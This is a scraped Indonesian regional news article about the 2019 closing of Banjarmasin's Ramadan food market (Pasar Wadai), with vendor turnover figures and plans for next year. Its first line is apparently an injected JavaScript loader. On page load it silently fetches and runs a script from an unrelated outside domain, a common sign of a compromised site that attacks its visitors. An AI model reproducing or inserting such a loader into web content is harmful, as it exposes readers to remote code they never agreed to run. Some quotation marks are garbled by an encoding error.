(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pasar Wadai Ramadhan resmi ditutup, tahun depan rencanannya akan digelar di dua lokasi berbeda, yakni di kawasan Siring Balaikota Banjarmasin dan di Taman Kamboja Banjarmasin.
“Kalau Pasar Wadai di siring itu nanti rencananya akan dikhususnya untuk kuliner tradisional, sedangkan di Taman Kamboja untuk Banjarmasin Night Expo,†ujar Ketua Pengelola Pasar Ramadhan 1440 hijriah, M Noor.
Pembentukan dua pasar wadai di Ramadhan tahun depan itu dilakukan dengan tujuan agar lebih memudahkan masyarakat dalam berwisata kuliner tradisional, dan tidak meninggalkan ciri khasnya seperti berada di pinggir sungai.
Untuk kegiatan penutupan Pasar Wadai Ramadhan dilakukan Wakil Walikota Banjarmasin H Hermasnyah.
Ia berharap, untuk kegiatan Pasar Wadai Ramadhan tahun depan seluruh pedagang yang telah mengikuti event tersebut dapat kembali meramaikan acara tersebut. “Kita berharap tahun depan para pedagang dapat ikut lagi. Dan kami mengucapkan terima kasih kepada semua pihak yang telah ikut menyukseskan kegiatan ini,†ucapnya.
Selama 27 hari beroperasi, perputaran rupiah di pasar tersebut menujukan hasil yang cukup menggembirakan.
Dalam satu hari, perputaran uang yang terjadi sekira Rp2 juta untuk satu orang pedagang. Untuk jumlah pedagang yang ikut memeriahkan event tersebut tercatat sekira 158 orang.
“Berdasarkan data yang kita peroleh dari pedagang jajanan khas Banjar, mereka mengalami kenaikan omset 7 hingga 10 persen ketimbang pada Pasar Wadai Ramadhan tahun lalu, kalau pada tahun lalu pedagang kuliner khas Banjarmasin dalam seharinya laku berjualan sekitar Rp 1,5 juta hingga 1,8 juta, pada tahun ini penjualan mereka rata rata diatas Rp 2 juta perhari,” jelas M Noor.
Sekadar mengingatkan, sejak tanggal 6 Mei 2019, kegiatan Pasar Wadai Ramadhan 1440 hijriah digelar Pemkot Banjarmasin di kawasan Taman Kamboja Banjarmasin. Kegiatan tersebut diikuti sebanyak 258 unit stand kuliner, terdiri dari 150 lapak pasar wadai, dan 108 dari Pedagang Kaki Lima (PKL).
Di pasar tersebut, selain tersedia 41 macam wadai khas banjar, juga diisi dengan hiburan dari artis nasional, yang akan hadir setiap minggu di lapangan tersebut.
Menurut H Ibnu Sina, para pedagang yang memeriahkan event tahun itu tak hanya dari dalam kota Banjarmasin, tapi juga banyak pedagang yang datang dari luar kota berjuluk seribu sungai.
Pelaksanaan kegiatan Pasar Wadai Ramadhan tahun ini, jelasnya, memang lebih spesial dari tahun sebelumnya mengingat kegiatannya dilaksanakan di kawasan berbeda yakni di Taman Kamboja Banjarmasin.
Hal ini dilakukan agar destinasi wisata Taman Air Mancur Menari yang ada di kawasan Taman Kamboja Banjarmasin lebih dikenal masyarakat.
“Mudah-mudahan, kegiatan tersebut berjalan dengan lancar dan agenda Pasar Ramadhan yang dilaksanakan bisa menggeliatkan perekonomi Kota Banjarmasin,†pungkasnya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) memusnahan barang bukti sitaan narkoba hasil… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lelaki tak beridentitas yang ditemukan tergeletak tak bernyawa di Jalan Wira Agung… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kepala Kepolisian Resor (Kapolres) Kota Banjarbaru resmi berganti dari AKBP Dody Harza… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More
This website uses cookies.